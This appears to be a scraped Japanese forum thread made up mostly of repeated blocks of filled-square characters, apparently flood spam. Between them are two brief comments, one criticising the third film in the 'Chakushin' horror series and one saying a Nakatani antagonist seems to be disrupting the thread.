■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

着信は２作目のことを考えれば、３作目は作っちゃいけないよなあ
責任者はクビ！

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

中谷アンチがわざとスレ荒らしてるように見えるけどね

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■